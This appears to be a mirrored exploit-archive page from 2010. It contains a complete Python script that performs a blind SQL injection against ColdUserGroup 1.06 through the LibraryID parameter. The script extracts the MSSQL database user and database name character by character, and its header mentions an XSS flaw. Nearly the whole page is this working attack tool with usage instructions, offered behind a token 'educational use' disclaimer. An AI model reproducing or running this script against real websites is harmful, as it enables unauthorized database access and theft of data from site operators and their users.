Home / os / win7

ColdUserGroup 1.06 Blind SQL Injection Exploit

Posted on 07 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>ColdUserGroup 1.06 Blind SQL Injection Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================== ColdUserGroup 1.06 Blind SQL Injection Exploit ============================================== #!/usr/bin/python # ColdGen - coldusergroup v1.06 0day Remote Blind SQL Injection Exploit # Vendor: http://www.coldgen.com/ # Found by: mr_me # -----------------------------------------------&gt; # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # -----------------------------------------------&gt; # The vulnerabilities: # =================== # - Blind SQL Injection in the index.cfm using parameters: ArticleID &amp; LibraryID # - XSS in the search # # This tool assumes the target has a MSSQL backend. # ./ColdUsrGrp0day.py -p localhost:8080 -s &quot;Author:&quot; -t localhost:8500 -d /coldusrgrp/ # # | ----------------------------------------------------------------- | # | -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- | # | -------------------[ by mr_me - net-ninja.net ]------------------ | # # (+) Exploiting target @: http://localhost:8500/coldusrgrp/ # (+) Using string 'Author:' for the true page # (+) This will take time, have patience.. # # (+) Testing Proxy... # (+) Proxy @ localhost:8080 # (+) Building Handler.. # # (!) Getting database user: sa # (!) Getting database name: coldusergroup import sys, urllib, re from optparse import OptionParser usage = &quot;./%prog [&lt;options&gt;] -s [true string] -t [target] -d [directory]&quot; usage += &quot; Example: ./%prog -p localhost:8080 -s 'Author:' -t localhost:8500 -d /coldusrgrp/&quot; parser = OptionParser(usage=usage) parser.add_option(&quot;-p&quot;, type=&quot;string&quot;,action=&quot;store&quot;, dest=&quot;proxy&quot;, help=&quot;HTTP Proxy &lt;server:port&gt;&quot;) parser.add_option(&quot;-t&quot;, type=&quot;string&quot;, action=&quot;store&quot;, dest=&quot;target&quot;, help=&quot;The Target server &lt;server:port&gt;&quot;) parser.add_option(&quot;-d&quot;, type=&quot;string&quot;, action=&quot;store&quot;, dest=&quot;directory&quot;, help=&quot;Directory path to the CMS&quot;) parser.add_option(&quot;-s&quot;, type=&quot;string&quot;, action=&quot;store&quot;, dest=&quot;trueStr&quot;, help=&quot;String that is on the 'true' page&quot;) (options, args) = parser.parse_args() def banner(): print &quot; | ----------------------------------------------------------------- |&quot; print &quot; | -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |&quot; print &quot; | -------------------[ by mr_me - net-ninja.net ]------------------ | &quot; if len(sys.argv) &lt; 5: banner() parser.print_help() sys.exit(1) def setTargetHTTP(): if options.target[0:7] != 'http://': options.target = &quot;http://&quot; + options.target return options.target def getProxy(): try: proxy = {'http': &quot;http://&quot;+options.proxy} opener = urllib.FancyURLopener(proxy) except(socket.timeout): print &quot; (-) Proxy Timed Out&quot; sys.exit(1) except(),msg: print &quot; (-) Proxy Failed&quot; sys.exit(1) return opener def getRequest(exploit): if options.proxy: try: options.target = setTargetHTTP() opener = getProxy() check = opener.open(options.target+options.directory+exploit).read() except urllib.error.HTTPError, error: check = error.read() except socket.error: print &quot;(-) Proxy connection failed&quot; sys.exit(1) else: try: check = urllib.urlopen(options.target+options.directory+exploit).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print &quot;(-) Target connection failed, check your address&quot; sys.exit(1) return check basicInfo = {'user':'user_name(0)', 'name':'db_name(0)'} def getBasicInfo(info, x): for i in range(32,126): request = (&quot;index.cfm?actcfug=LibraryView&amp;LibraryID=209+AND+ISNULL&quot; &quot;(ASCII(SUBSTRING(CAST((SELECT+LOWER(&quot;+info+&quot;))AS+varchar(8000)),&quot;+str(x)+&quot;,1)),0)=&quot;+str(i)) result = getRequest(request) if re.search(options.trueStr,result): x = x+1 sys.stdout.write(chr(i)) getBasicInfo(info, x) if __name__ == &quot;__main__&quot;: x = 1 banner() options.target = setTargetHTTP() print &quot;(+) Exploiting target @: %s&quot; % (options.target+options.directory) print &quot;(+) Using string '%s' for the true page&quot; % (options.trueStr) print &quot;(+) This will take time, have patience..&quot; if options.proxy: print &quot; (+) Testing Proxy...&quot; print &quot;(+) Proxy @ %s&quot; % (options.proxy) print &quot;(+) Building Handler..&quot; for key in basicInfo: sys.stdout.write(&quot; (!) Getting database &quot; + key + &quot;: &quot;) getBasicInfo(basicInfo[key], x) # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP